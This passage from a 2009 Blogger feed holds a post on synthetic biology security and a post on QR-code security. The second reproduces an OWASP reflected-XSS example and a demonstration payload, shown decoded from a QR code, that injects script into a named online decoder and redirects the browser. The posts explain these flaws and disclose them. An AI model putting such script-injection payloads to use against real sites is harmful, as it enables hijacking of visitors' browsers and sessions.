'&gt;a&lt;/span&gt;&lt;span style='color:#800080; '&gt;a&lt;/span&gt;&lt;span style='color:#008c00; '&gt;c&lt;/span&gt;&lt;span style='color:#0000e6; '&gt;t&lt;/span&gt;&lt;span style='color:#800080; '&gt;a&lt;/span&gt;&lt;span style='color:#008c00; '&gt;c&lt;/span&gt;&lt;span style='color:#0000e6; '&gt;t&lt;/span&gt;&lt;span style='color:#800000; '&gt;g&lt;/span&gt;&lt;span style='color:#008c00; '&gt;c&lt;/span&gt;&lt;span style='color:#800080; '&gt;a&lt;/span&gt;&lt;span style='color:#0000e6; '&gt;t&lt;/span&gt;&lt;span style='color:#800080; '&gt;a&lt;/span&gt;&lt;span style='color:#008c00; '&gt;c&lt;/span&gt;&lt;span style='color:#0000e6; '&gt;t&lt;/span&gt;&lt;span style='color:#800080; '&gt;a&lt;/span&gt;&lt;span style='color:#800000; '&gt;g&lt;/span&gt;&lt;span style='color:#800080; '&gt;a&lt;/span&gt;&lt;span style='color:#800000; '&gt;g&lt;/span&gt;&lt;span style='color:#800080; '&gt;a&lt;/span&gt;&lt;span style='color:#800080; '&gt;a&lt;/span&gt;&lt;span style='color:#800080; '&gt;a&lt;/span&gt;&lt;span style='color:#800000; '&gt;g&lt;/span&gt;&lt;span style='color:#800080; '&gt;a&lt;/span&gt;&lt;span style='color:#800000; '&gt;g&lt;/span&gt;&lt;span style='color:#800000; '&gt;g&lt;/span&gt;&lt;br /&gt;&lt;span style='color:#800080; '&gt;a&lt;/span&gt;&lt;span style='color:#800000; '&gt;g&lt;/span&gt;&lt;span style='color:#800080; '&gt;a&lt;/span&gt;&lt;span style='color:#800080; '&gt;a&lt;/span&gt;&lt;span style='color:#800080; '&gt;a&lt;/span&gt;&lt;span style='color:#0000e6; '&gt;t&lt;/span&gt;&lt;span style='color:#800080; '&gt;a&lt;/span&gt;&lt;span style='color:#008c00; '&gt;c&lt;/span&gt;&lt;span style='color:#0000e6; '&gt;t&lt;/span&gt;&lt;span style='color:#800080; '&gt;a&lt;/span&gt;&lt;span style='color:#800000; '&gt;g&lt;/span&gt;&lt;span style='color:#800080; '&gt;a&lt;/span&gt;&lt;span style='color:#0000e6; '&gt;t&lt;/span&gt;&lt;span style='color:#800000; '&gt;g&lt;/span&gt;&lt;span style='color:#800000; '&gt;g&lt;/span&gt;&lt;span style='color:#800080; '&gt;a&lt;/span&gt;&lt;span style='color:#008c00; '&gt;c&lt;/span&gt;&lt;span style='color:#800080; '&gt;a&lt;/span&gt;&lt;span style='color:#800080; '&gt;a&lt;/span&gt;&lt;span style='color:#800080; '&gt;a&lt;/span&gt;&lt;span style='color:#0000e6; '&gt;t&lt;/span&gt;&lt;span style='color:#0000e6; '&gt;t&lt;/span&gt;&lt;span style='color:#008c00; '&gt;c&lt;/span&gt;&lt;span style='color:#800000; '&gt;g&lt;/span&gt;&lt;span style='color:#800080; '&gt;a&lt;/span&gt;&lt;span style='color:#008c00; '&gt;c&lt;/span&gt;&lt;span style='color:#800000; '&gt;g&lt;/span&gt;&lt;span style='color:#008c00; '&gt;c&lt;/span&gt;&lt;span style='color:#0000e6; '&gt;t&lt;/span&gt;&lt;span style='color:#800080; '&gt;a&lt;/span&gt;&lt;span style='color:#800080; '&gt;a&lt;/span&gt;&lt;span style='color:#0000e6; '&gt;t&lt;/span&gt;&lt;span style='color:#008c00; '&gt;c&lt;/span&gt;&lt;span style='color:#800000; '&gt;g&lt;/span&gt;&lt;span style='color:#008c00; '&gt;c&lt;/span&gt;&lt;span style='color:#008c00; '&gt;c&lt;/span&gt;&lt;span style='color:#800000; '&gt;g&lt;/span&gt;&lt;span style='color:#008c00; '&gt;c&lt;/span&gt;&lt;span style='color:#800080; '&gt;a&lt;/span&gt;&lt;span style='color:#800080; '&gt;a&lt;/span&gt;&lt;span style='color:#800080; '&gt;a&lt;/span&gt;&lt;span style='color:#0000e6; '&gt;t&lt;/span&gt;&lt;span style='color:#0000e6; '&gt;t&lt;/span&gt;&lt;span style='color:#800000; '&gt;g&lt;/span&gt;&lt;span style='color:#008c00; '&gt;c&lt;/span&gt;&lt;span style='color:#0000e6; '&gt;t&lt;/span&gt;&lt;span style='color:#800000; '&gt;g&lt;/span&gt;&lt;span style='color:#800000; '&gt;g&lt;/span&gt;&lt;span style='color:#008c00; '&gt;c&lt;/span&gt;&lt;span style='color:#800000; '&gt;g&lt;/span&gt;&lt;br /&gt;&lt;span style='color:#008c00; '&gt;c&lt;/span&gt;&lt;span style='color:#0000e6; '&gt;t&lt;/span&gt;&lt;span style='color:#0000e6; '&gt;t&lt;/span&gt;&lt;span style='color:#800000; '&gt;g&lt;/span&gt;&lt;span style='color:#800000; '&gt;g&lt;/span&gt;&lt;span style='color:#0000e6; '&gt;t&lt;/span&gt;&lt;span style='color:#800000; '&gt;g&lt;/span&gt;&lt;span style='color:#800000; '&gt;g&lt;/span&gt;&lt;span style='color:#008c00; '&gt;c&lt;/span&gt;&lt;span style='color:#800000; '&gt;g&lt;/span&gt;&lt;span style='color:#0000e6; '&gt;t&lt;/span&gt;&lt;span style='color:#0000e6; '&gt;t&lt;/span&gt;&lt;span style='color:#800000; '&gt;g&lt;/span&gt;&lt;span style='color:#008c00; '&gt;c&lt;/span&gt;&lt;span style='color:#800080; '&gt;a&lt;/span&gt;&lt;span style='color:#008c00; '&gt;c&lt;/span&gt;&lt;span style='color:#0000e6; '&gt;t&lt;/span&gt;&lt;span style='color:#008c00; '&gt;c&lt;/span&gt;&lt;span style='color:#800000; '&gt;g&lt;/span&gt;&lt;span style='color:#800000; '&gt;g&lt;/span&gt;&lt;span style='color:#0000e6; '&gt;t&lt;/span&gt;&lt;span style='color:#800000; '&gt;g&lt;/span&gt;&lt;span style='color:#008c00; '&gt;c&lt;/span&gt;&lt;span style='color:#008c00; '&gt;c&lt;/span&gt;&lt;span style='color:#800000; '&gt;g&lt;/span&gt;&lt;span style='color:#008c00; '&gt;c&lt;/span&gt;&lt;span style='color:#008c00; '&gt;c&lt;/span&gt;&lt;span style='color:#800080; '&gt;a&lt;/span&gt;&lt;span style='color:#0000e6; '&gt;t&lt;/span&gt;&lt;span style='color:#008c00; '&gt;c&lt;/span&gt;&lt;span style='color:#008c00; '&gt;c&lt;/span&gt;&lt;span style='color:#0000e6; '&gt;t&lt;/span&gt;&lt;span style='color:#800000; '&gt;g&lt;/span&gt;&lt;span style='color:#008c00; '&gt;c&lt;/span&gt;&lt;span style='color:#008c00; '&gt;c&lt;/span&gt;&lt;span style='color:#800000; '&gt;g&lt;/span&gt;&lt;span style='color:#800080; '&gt;a&lt;/span&gt;&lt;span style='color:#008c00; '&gt;c&lt;/span&gt;&lt;span style='color:#008c00; '&gt;c&lt;/span&gt;&lt;span style='color:#008c00; '&gt;c&lt;/span&gt;&lt;span style='color:#008c00; '&gt;c&lt;/span&gt;&lt;span style='color:#0000e6; '&gt;t&lt;/span&gt;&lt;span style='color:#800000; '&gt;g&lt;/span&gt;&lt;span style='color:#008c00; '&gt;c&lt;/span&gt;&lt;span style='color:#800000; '&gt;g&lt;/span&gt;&lt;span style='color:#0000e6; '&gt;t&lt;/span&gt;&lt;span style='color:#0000e6; '&gt;t&lt;/span&gt;&lt;span style='color:#0000e6; '&gt;t&lt;/span&gt;&lt;span style='color:#800000; '&gt;g&lt;/span&gt;&lt;span style='color:#008c00; '&gt;c&lt;/span&gt;&lt;br /&gt;&lt;span style='color:#800080; '&gt;a&lt;/span&gt;&lt;span style='color:#0000e6; '&gt;t&lt;/span&gt;&lt;span style='color:#0000e6; '&gt;t&lt;/span&gt;&lt;span style='color:#0000e6; '&gt;t&lt;/span&gt;&lt;span style='color:#800000; '&gt;g&lt;/span&gt;&lt;span style='color:#0000e6; '&gt;t&lt;/span&gt;&lt;span style='color:#800000; '&gt;g&lt;/span&gt;&lt;span style='color:#800080; '&gt;a&lt;/span&gt;&lt;span style='color:#800080; '&gt;a&lt;/span&gt;&lt;span style='color:#008c00; '&gt;c&lt;/span&gt;&lt;span style='color:#008c00; '&gt;c&lt;/span&gt;&lt;span style='color:#800080; '&gt;a&lt;/span&gt;&lt;span style='color:#800080; '&gt;a&lt;/span&gt;&lt;span style='color:#008c00; '&gt;c&lt;/span&gt;&lt;span style='color:#800080; '&gt;a&lt;/span&gt;&lt;span style='color:#008c00; '&gt;c&lt;/span&gt;&lt;span style='color:#008c00; '&gt;c&lt;/span&gt;&lt;span style='color:#0000e6; '&gt;t&lt;/span&gt;&lt;span style='color:#800000; '&gt;g&lt;/span&gt;&lt;span style='color:#0000e6; '&gt;t&lt;/span&gt;&lt;span style='color:#800000; '&gt;g&lt;/span&gt;&lt;span style='color:#008c00; '&gt;c&lt;/span&gt;&lt;span style='color:#800000; '&gt;g&lt;/span&gt;&lt;span style='color:#800000; '&gt;g&lt;/span&gt;&lt;span style='color:#008c00; '&gt;c&lt;/span&gt;&lt;span style='color:#0000e6; '&gt;t&lt;/span&gt;&lt;span style='color:#008c00; '&gt;c&lt;/span&gt;&lt;span style='color:#800080; '&gt;a&lt;/span&gt;&lt;span style='color:#008c00; '&gt;c&lt;/span&gt;&lt;span style='color:#800080; '&gt;a&lt;/span&gt;&lt;span style='color:#008c00; '&gt;c&lt;/span&gt;&lt;span style='color:#008c00; '&gt;c&lt;/span&gt;&lt;span style='color:#0000e6; '&gt;t&lt;/span&gt;&lt;span style='color:#800000; '&gt;g&lt;/span&gt;&lt;span style='color:#800000; '&gt;g&lt;/span&gt;&lt;span style='color:#0000e6; '&gt;t&lt;/span&gt;&lt;span style='color:#800000; '&gt;g&lt;/span&gt;&lt;span style='color:#800000; '&gt;g&lt;/span&gt;&lt;span style='color:#800080; '&gt;a&lt;/span&gt;&lt;span style='color:#800080; '&gt;a&lt;/span&gt;&lt;span style='color:#800000; '&gt;g&lt;/span&gt;&lt;span style='color:#008c00; '&gt;c&lt;/span&gt;&lt;span style='color:#0000e6; '&gt;t&lt;/span&gt;&lt;span style='color:#008c00; '&gt;c&lt;/span&gt;&lt;span style='color:#0000e6; '&gt;t&lt;/span&gt;&lt;span style='color:#008c00; '&gt;c&lt;/span&gt;&lt;span style='color:#0000e6; '&gt;t&lt;/span&gt;&lt;span style='color:#800080; '&gt;a&lt;/span&gt;&lt;span style='color:#008c00; '&gt;c&lt;/span&gt;&lt;span style='color:#008c00; '&gt;c&lt;/span&gt;&lt;br /&gt;&lt;span style='color:#0000e6; '&gt;t&lt;/span&gt;&lt;span style='color:#800080; '&gt;a&lt;/span&gt;&lt;span style='color:#800000; '&gt;g&lt;/span&gt;&lt;span style='color:#0000e6; '&gt;t&lt;/span&gt;&lt;span style='color:#800000; '&gt;g&lt;/span&gt;&lt;span style='color:#0000e6; '&gt;t&lt;/span&gt;&lt;span style='color:#800000; '&gt;g&lt;/span&gt;&lt;span style='color:#008c00; '&gt;c&lt;/span&gt;&lt;span style='color:#800000; '&gt;g&lt;/span&gt;&lt;span style='color:#800000; '&gt;g&lt;/span&gt;&lt;span style='color:#800000; '&gt;g&lt;/span&gt;&lt;span style='color:#800000; '&gt;g&lt;/span&gt;&lt;span style='color:#800080; '&gt;a&lt;/span&gt;&lt;span style='color:#800080; '&gt;a&lt;/span&gt;&lt;span style='color:#008c00; '&gt;c&lt;/span&gt;&lt;span style='color:#800000; '&gt;g&lt;/span&gt;&lt;span style='color:#800080; '&gt;a&lt;/span&gt;&lt;span style='color:#800000; '&gt;g&lt;/span&gt;&lt;span style='color:#800000; '&gt;g&lt;/span&gt;&lt;span style='color:#008c00; '&gt;c&lt;/span&gt;&lt;span style='color:#0000e6; '&gt;t&lt;/span&gt;&lt;span style='color:#0000e6; '&gt;t&lt;/span&gt;&lt;span style='color:#008c00; '&gt;c&lt;/span&gt;&lt;span style='color:#0000e6; '&gt;t&lt;/span&gt;&lt;span style='color:#0000e6; '&gt;t&lt;/span&gt;&lt;span style='color:#008c00; '&gt;c&lt;/span&gt;&lt;span style='color:#0000e6; '&gt;t&lt;/span&gt;&lt;span style='color:#800080; '&gt;a&lt;/span&gt;&lt;span style='color:#008c00; '&gt;c&lt;/span&gt;&lt;span style='color:#800080; '&gt;a&lt;/span&gt;&lt;span style='color:#008c00; '&gt;c&lt;/span&gt;&lt;span style='color:#800080; '&gt;a&lt;/span&gt;&lt;span style='color:#008c00; '&gt;c&lt;/span&gt;&lt;span style='color:#008c00; '&gt;c&lt;/span&gt;&lt;span style='color:#008c00; '&gt;c&lt;/span&gt;&lt;span style='color:#800080; '&gt;a&lt;/span&gt;&lt;span style='color:#800080; '&gt;a&lt;/span&gt;&lt;span style='color:#800000; '&gt;g&lt;/span&gt;&lt;span style='color:#800080; '&gt;a&lt;/span&gt;&lt;span style='color:#008c00; '&gt;c&lt;/span&gt;&lt;span style='color:#008c00; '&gt;c&lt;/span&gt;&lt;span style='color:#0000e6; '&gt;t&lt;/span&gt;&lt;span style='color:#800080; '&gt;a&lt;/span&gt;&lt;span style='color:#800080; '&gt;a&lt;/span&gt;&lt;span style='color:#0000e6; '&gt;t&lt;/span&gt;&lt;span style='color:#800080; '&gt;a&lt;/span&gt;&lt;span style='color:#800080; '&gt;a&lt;/span&gt;&lt;span style='color:#0000e6; '&gt;t&lt;/span&gt;&lt;span style='color:#800080; '&gt;a&lt;/span&gt;&lt;span style='color:#008c00; '&gt;c&lt;/span&gt;&lt;br /&gt;&lt;span style='color:#0000e6; '&gt;t&lt;/span&gt;&lt;span style='color:#800080; '&gt;a&lt;/span&gt;&lt;span style='color:#800000; '&gt;g&lt;/span&gt;&lt;span style='color:#800080; '&gt;a&lt;/span&gt;&lt;span style='color:#800000; '&gt;g&lt;/span&gt;&lt;span style='color:#0000e6; '&gt;t&lt;/span&gt;&lt;span style='color:#008c00; '&gt;c&lt;/span&gt;&lt;span style='color:#800080; '&gt;a&lt;/span&gt;&lt;span style='color:#008c00; '&gt;c&lt;/span&gt;&lt;span style='color:#800080; '&gt;a&lt;/span&gt;&lt;span style='color:#008c00; '&gt;c&lt;/span&gt;&lt;span style='color:#0000e6; '&gt;t&lt;/span&gt;&lt;span style='color:#800000; '&gt;g&lt;/span&gt;&lt;span style='color:#800000; '&gt;g&lt;/span&gt;&lt;span style='color:#008c00; '&gt;c&lt;/span&gt;&lt;span style='color:#0000e6; '&gt;t&lt;/span&gt;&lt;span style='color:#008c00; '&gt;c&lt;/span&gt;&lt;span style='color:#800080; '&gt;a&lt;/span&gt;&lt;span style='color:#008c00; '&gt;c&lt;/span&gt;&lt;span style='color:#008c00; '&gt;c&lt;/span&gt;&lt;span style='color:#0000e6; '&gt;t&lt;/span&gt;&lt;span style='color:#0000e6; '&gt;t&lt;/span&gt;&lt;span style='color:#008c00; '&gt;c&lt;/span&gt;&lt;span style='color:#800000; '&gt;g&lt;/span&gt;&lt;span style='color:#800000; '&gt;g&lt;/span&gt;&lt;span style='color:#800000; '&gt;g&lt;/span&gt;&lt;span style='color:#0000e6; '&gt;t&lt;/span&gt;&lt;span style='color:#800000; '&gt;g&lt;/span&gt;&lt;span style='color:#800000; '&gt;g&lt;/span&gt;&lt;span style='color:#800000; '&gt;g&lt;/span&gt;&lt;span style='color:#008c00; '&gt;c&lt;/span&gt;&lt;span style='color:#008c00; '&gt;c&lt;/span&gt;&lt;span style='color:#0000e6; '&gt;t&lt;/span&gt;&lt;span style='color:#0000e6; '&gt;t&lt;/span&gt;&lt;span style='color:#0000e6; '&gt;t&lt;/span&gt;&lt;span style='color:#008c00; '&gt;c&lt;/span&gt;&lt;span style='color:#0000e6; '&gt;t&lt;/span&gt;&lt;span style='color:#800000; '&gt;g&lt;/span&gt;&lt;span style='color:#008c00; '&gt;c&lt;/span&gt;&lt;span style='color:#800000; '&gt;g&lt;/span&gt;&lt;span style='color:#0000e6; '&gt;t&lt;/span&gt;&lt;span style='color:#0000e6; '&gt;t&lt;/span&gt;&lt;span style='color:#0000e6; '&gt;t&lt;/span&gt;&lt;span style='color:#800080; '&gt;a&lt;/span&gt;&lt;span style='color:#0000e6; '&gt;t&lt;/span&gt;&lt;span style='color:#800080; '&gt;a&lt;/span&gt;&lt;span style='color:#0000e6; '&gt;t&lt;/span&gt;&lt;span style='color:#800080; '&gt;a&lt;/span&gt;&lt;span style='color:#008c00; '&gt;c&lt;/span&gt;&lt;span style='color:#0000e6; '&gt;t&lt;/span&gt;&lt;br /&gt;&lt;span style='color:#800080; '&gt;a&lt;/span&gt;&lt;span style='color:#800000; '&gt;g&lt;/span&gt;&lt;span style='color:#800080; '&gt;a&lt;/span&gt;&lt;span style='color:#800000; '&gt;g&lt;/span&gt;&lt;span style='color:#800080; '&gt;a&lt;/span&gt;&lt;span style='color:#800000; '&gt;g&lt;/span&gt;&lt;span style='color:#800080; '&gt;a&lt;/span&gt;&lt;span style='color:#800000; '&gt;g&lt;/span&gt;&lt;span style='color:#800080; '&gt;a&lt;/span&gt;&lt;span style='color:#800080; '&gt;a&lt;/span&gt;&lt;span style='color:#0000e6; '&gt;t&lt;/span&gt;&lt;span style='color:#800080; '&gt;a&lt;/span&gt;&lt;span style='color:#0000e6; '&gt;t&lt;/span&gt;&lt;span style='color:#800080; '&gt;a&lt;/span&gt;&lt;span style='color:#800080; '&gt;a&lt;/span&gt;&lt;span style='color:#800080; '&gt;a&lt;/span&gt;&lt;span style='color:#800080; '&gt;a&lt;/span&gt;&lt;span style='color:#800080; '&gt;a&lt;/span&gt;&lt;span style='color:#800000; '&gt;g&lt;/span&gt;&lt;span style='color:#008c00; '&gt;c&lt;/span&gt;&lt;span style='color:#008c00; '&gt;c&lt;/span&gt;&lt;span style='color:#800080; '&gt;a&lt;/span&gt;&lt;span style='color:#800000; '&gt;g&lt;/span&gt;&lt;span style='color:#800080; '&gt;a&lt;/span&gt;&lt;span style='color:#0000e6; '&gt;t&lt;/span&gt;&lt;span style='color:#0000e6; '&gt;t&lt;/span&gt;&lt;span style='color:#800080; '&gt;a&lt;/span&gt;&lt;span style='color:#0000e6; '&gt;t&lt;/span&gt;&lt;span style='color:#0000e6; '&gt;t&lt;/span&gt;&lt;span style='color:#800080; '&gt;a&lt;/span&gt;&lt;span style='color:#800080; '&gt;a&lt;/span&gt;&lt;span style='color:#0000e6; '&gt;t&lt;/span&gt;&lt;span style='color:#008c00; '&gt;c&lt;/span&gt;&lt;span style='color:#008c00; '&gt;c&lt;/span&gt;&lt;span style='color:#800000; '&gt;g&lt;/span&gt;&lt;span style='color:#800000; '&gt;g&lt;/span&gt;&lt;span style='color:#008c00; '&gt;c&lt;/span&gt;&lt;span style='color:#0000e6; '&gt;t&lt;/span&gt;&lt;span style='color:#0000e6; '&gt;t&lt;/span&gt;&lt;span style='color:#0000e6; '&gt;t&lt;/span&gt;&lt;span style='color:#0000e6; '&gt;t&lt;/span&gt;&lt;span style='color:#0000e6; '&gt;t&lt;/span&gt;&lt;span style='color:#0000e6; '&gt;t&lt;/span&gt;&lt;span style='color:#800080; '&gt;a&lt;/span&gt;&lt;span style='color:#0000e6; '&gt;t&lt;/span&gt;&lt;span style='color:#0000e6; '&gt;t&lt;/span&gt;&lt;span style='color:#800080; '&gt;a&lt;/span&gt;&lt;span style='color:#0000e6; '&gt;t&lt;/span&gt;&lt;span style='color:#0000e6; '&gt;t&lt;/span&gt;&lt;span style='color:#0000e6; '&gt;t&lt;/span&gt;&lt;br /&gt;&lt;/tt&gt;&lt;br /&gt;&lt;/code&gt;&lt;br /&gt;Browse the complete bioparts catalogue &lt;a href="http://partsregistry.org/Catalog"&gt;here&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;Some (futurologist?) security challenges that arose in their yet immature engineering projects are the possibility of malicious contributors injecting spoofed genetic materials to produce illegal drugs, poisonous substances or even dangerous viruses. Even some companies now are providing services to produce DNA at your command, you upload the nucleotide sequence via Internet and they send you the DNA packaged like Amazon, read this, circa 2004, &lt;a href="http://www.eetimes.com/showArticle.jhtml?articleID=21700333"&gt;EETimes article&lt;/a&gt;.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8700396122275014565-5080853462769376817?l=blog.mechpoet.net' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.mechpoet.net/feeds/5080853462769376817/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://blog.mechpoet.net/2009/06/biobricks-syntetic-biology-and-future.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8700396122275014565/posts/default/5080853462769376817'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8700396122275014565/posts/default/5080853462769376817'/><link rel='alternate' type='text/html' href='http://blog.mechpoet.net/2009/06/biobricks-syntetic-biology-and-future.html' title='BioBricks, Syntetic Biology and Future Security Challenges!'/><author><name>thermo</name><uri>http://www.blogger.com/profile/11421452711580282885</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/_tJD3vUnZtL0/SUT9GXzKcmI/AAAAAAAAAAM/Ms6BESxVkFs/S220/cono_del_encono.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_tJD3vUnZtL0/Si8-NNOzWvI/AAAAAAAAAEk/u8d3SVK5mpI/s72-c/viri.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8700396122275014565.post-7875980245483388862</id><published>2009-05-31T19:59:00.000-07:00</published><updated>2009-06-01T23:42:03.728-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='mobile'/><category scheme='http://www.blogger.com/atom/ns#' term='xss'/><category scheme='http://www.blogger.com/atom/ns#' term='security'/><category scheme='http://www.blogger.com/atom/ns#' term='web'/><category scheme='http://www.blogger.com/atom/ns#' term='qrcodes'/><title type='text'>QR Codes Security: Cross-site Scripting</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_tJD3vUnZtL0/SiNXiru8dPI/AAAAAAAAAEM/0tmGO66naWg/s1600-h/Qr+%5B7%5D+-+Puto+el+que+lee.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 272px; height: 290px;" src="http://4.bp.blogspot.com/_tJD3vUnZtL0/SiNXiru8dPI/AAAAAAAAAEM/0tmGO66naWg/s320/Qr+%5B7%5D+-+Puto+el+que+lee.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5342209836358333682" /&gt;&lt;/a&gt;&lt;br /&gt;This is my new T-shirt. In this post I will explain what are QR Codes, why this technology is making some noise now and a couple examples of security issues raised by this useful technology.&lt;br /&gt;&lt;br /&gt;Quick Response Codes (&lt;a href="http://en.wikipedia.org/w/index.php?title=QR_Code&amp;oldid=293266742"&gt;QR Codes&lt;/a&gt;) are two-dimensional barcodes that have been developed by a japanese corporation called &lt;a href="http://en.wikipedia.org/w/index.php?title=Denso&amp;oldid=292084043"&gt;Denso&lt;/a&gt; in 1994, a subsidiary of Toyota. In Japan, every cellular uses this codes for many services. Now there is sudden explotion of web sites providing services related to QR Codes, for example &lt;a href="http://www.beetagg.com/"&gt;BeeTagg&lt;/a&gt;, with the idea of all things being tagged and tracked from the Internet. &lt;br /&gt;&lt;br /&gt;These codes have the following abilities.&lt;br /&gt;&lt;br /&gt; - Can be quickly processed for tagging industrial parts, car industry born.&lt;br /&gt; - Axis information to correct photo orientation.&lt;br /&gt; - Redundant information and Solomon-Reed error correcting codes.&lt;br /&gt; - According to some sources, redundant information can be used for artistical goals (?). No interesting example besides this one, poem &lt;a href="http://en.wikipedia.org/wiki/File:WalrusAndCarpenter.png"&gt;Walrus and the Carpenter&lt;/a&gt;. &lt;br /&gt; - Maximum content size, 2,953 bytes.&lt;br /&gt;&lt;br /&gt;For my experiments I used the online &lt;a href="http://code.google.com/apis/chart/types.html#qrcodes"&gt;Google Chart API barcode generator&lt;/a&gt;. Also the open source &lt;a href="http://zxing.appspot.com/"&gt;Zebra Crossing Project&lt;/a&gt; provides and interface to this generator. They are developing a QR Code scanner for various mobile devices. Check the following example.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://chart.apis.google.com/chart?chs=150x150&amp;cht=qr&amp;chl=Mechanical%20Poetry&amp;choe=UTF-8"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 150px; height: 150px;" src="http://chart.apis.google.com/chart?chs=150x150&amp;cht=qr&amp;chl=Mechanical%20Poetry&amp;choe=UTF-8" border="0" alt="" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;To decode this barcodes you can use some software from you cellphone, your desktop or any online decoder like the one provided kindly by DrHu.org &lt;a href="http://www.drhu.org/QRCode/QRDecoder.php"&gt;here&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Attack Vector 1: Embedded URLs with Non-Persistent XSS&lt;span style="font-style:italic;"&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Because this barcodes many times contains URL that redirect mobile phones to webpages,  URLs possibly containing JavaScript code reflected back a-là non-persistent cross-site scripting (XSS) can be found. An example extracted from &lt;a href="http://www.owasp.org/index.php/Cross_site_scripting"&gt;OWASP&lt;/a&gt; follows.&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;http://testsite.test/&amp;lt;script&amp;gt;alert("TEST");&amp;lt;/script&amp;gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;Malicious JavaScript can be used to do any web operation within the victimized domain and also to send stolen information to other malicious domains.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Attack Vector 2: JavaScript code directly included inside the barcode&lt;span style="font-style:italic;"&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;If you observe the DrHu.org online web decoder you will notice that HTML sensitive characters are not escaped, so you can insert JavaScript code inside the encoded text. The following barcode shows a popup and redirects the browser to another web page when it is decoded using DrHu.org's service.&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_tJD3vUnZtL0/SiNZ5jbAFSI/AAAAAAAAAEU/Ujj0VRsXF9s/s1600-h/xss_gapi3.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 320px;" src="http://4.bp.blogspot.com/_tJD3vUnZtL0/SiNZ5jbAFSI/AAAAAAAAAEU/Ujj0VRsXF9s/s320/xss_gapi3.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5342212428287448354" /&gt;&lt;/a&gt;&lt;br /&gt;The decoded text follows.&lt;br /&gt;&lt;code&gt;&lt;br /&gt;&lt;pre style='color:#000000;background:#ffffff;'&gt;XSS&lt;span style='color:#808030; '&gt;!&lt;/span&gt;&lt;br /&gt;&lt;span style='color:#808030; '&gt;&amp;lt;&lt;/span&gt;script&lt;span style='color:#808030; '&gt;&gt;&lt;/span&gt;&lt;br /&gt;alert&lt;span style='color:#808030; '&gt;(&lt;/span&gt;&lt;span style='color:#0000e6; '&gt;'XSS!'&lt;/span&gt;&lt;span style='color:#808030; '&gt;)&lt;/span&gt;&lt;span style='color:#800080; '&gt;;&lt;/span&gt;&lt;br /&gt;location&lt;span style='color:#808030; '&gt;.&lt;/span&gt;href &lt;span style='color:#808030; '&gt;=&lt;/span&gt; location&lt;span style='color:#808030; '&gt;.&lt;/span&gt;href&lt;span style='color:#808030; '&gt;.&lt;/span&gt;&lt;span style='color:#800000; font-weight:bold; '&gt;replace&lt;/span&gt;&lt;span style='color:#808030; '&gt;(&lt;/span&gt;&lt;span style='color:#800000; '&gt;/&lt;/span&gt;&lt;span style='color:#808030; '&gt;^&lt;/span&gt;&lt;span style='color:#0000e6; '&gt;http:&lt;/span&gt;&lt;span style='color:#0f69ff; '&gt;\/&lt;/span&gt;&lt;span style='color:#0f69ff; '&gt;\/&lt;/span&gt;&lt;span style='color:#0000e6; '&gt;www&lt;/span&gt;&lt;span style='color:#808030; '&gt;.&lt;/span&gt;&lt;span style='color:#0000e6; '&gt;drhu&lt;/span&gt;&lt;span style='color:#808030; '&gt;.&lt;/span&gt;&lt;span style='color:#0000e6; '&gt;org&lt;/span&gt;&lt;span style='color:#0f69ff; '&gt;\/&lt;/span&gt;&lt;span style='color:#0000e6; '&gt;QRCode&lt;/span&gt;&lt;span style='color:#0f69ff; '&gt;\/&lt;/span&gt;&lt;span style='color:#0000e6; '&gt;QRDB_Java&lt;/span&gt;&lt;span style='color:#808030; '&gt;.&lt;/span&gt;&lt;span style='color:#0000e6; '&gt;php&lt;/span&gt;&lt;span style='color:#800000; '&gt;/&lt;/span&gt;&lt;span style='color:#808030; '&gt;,&lt;/span&gt;&lt;span style='color:#0000e6; '&gt;'http://mechpoe.blogspot.com'&lt;/span&gt;&lt;span style='color:#808030; '&gt;)&lt;/span&gt;&lt;span style='color:#800080; '&gt;;&lt;/span&gt;&lt;br /&gt;&lt;span style='color:#808030; '&gt;&amp;lt;&lt;/span&gt;&lt;span style='color:#808030; '&gt;/&lt;/span&gt;script&lt;span style='color:#808030; '&gt;&gt;&lt;/span&gt;&lt;br /&gt;&lt;/pre&gt;&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Notice that DrHu.org's site is not always working because is not an industrial-sized project. These ideas were partly inspired by SQL injections on RFID chips described on paper &lt;a href="http://www.rfidvirus.org/papers/percom.06.pdf"&gt;&lt;span style="font-style:italic;"&gt;Is Your Cat Infected with a Computer Virus?&lt;/span&gt;&lt;/a&gt;.&lt;br 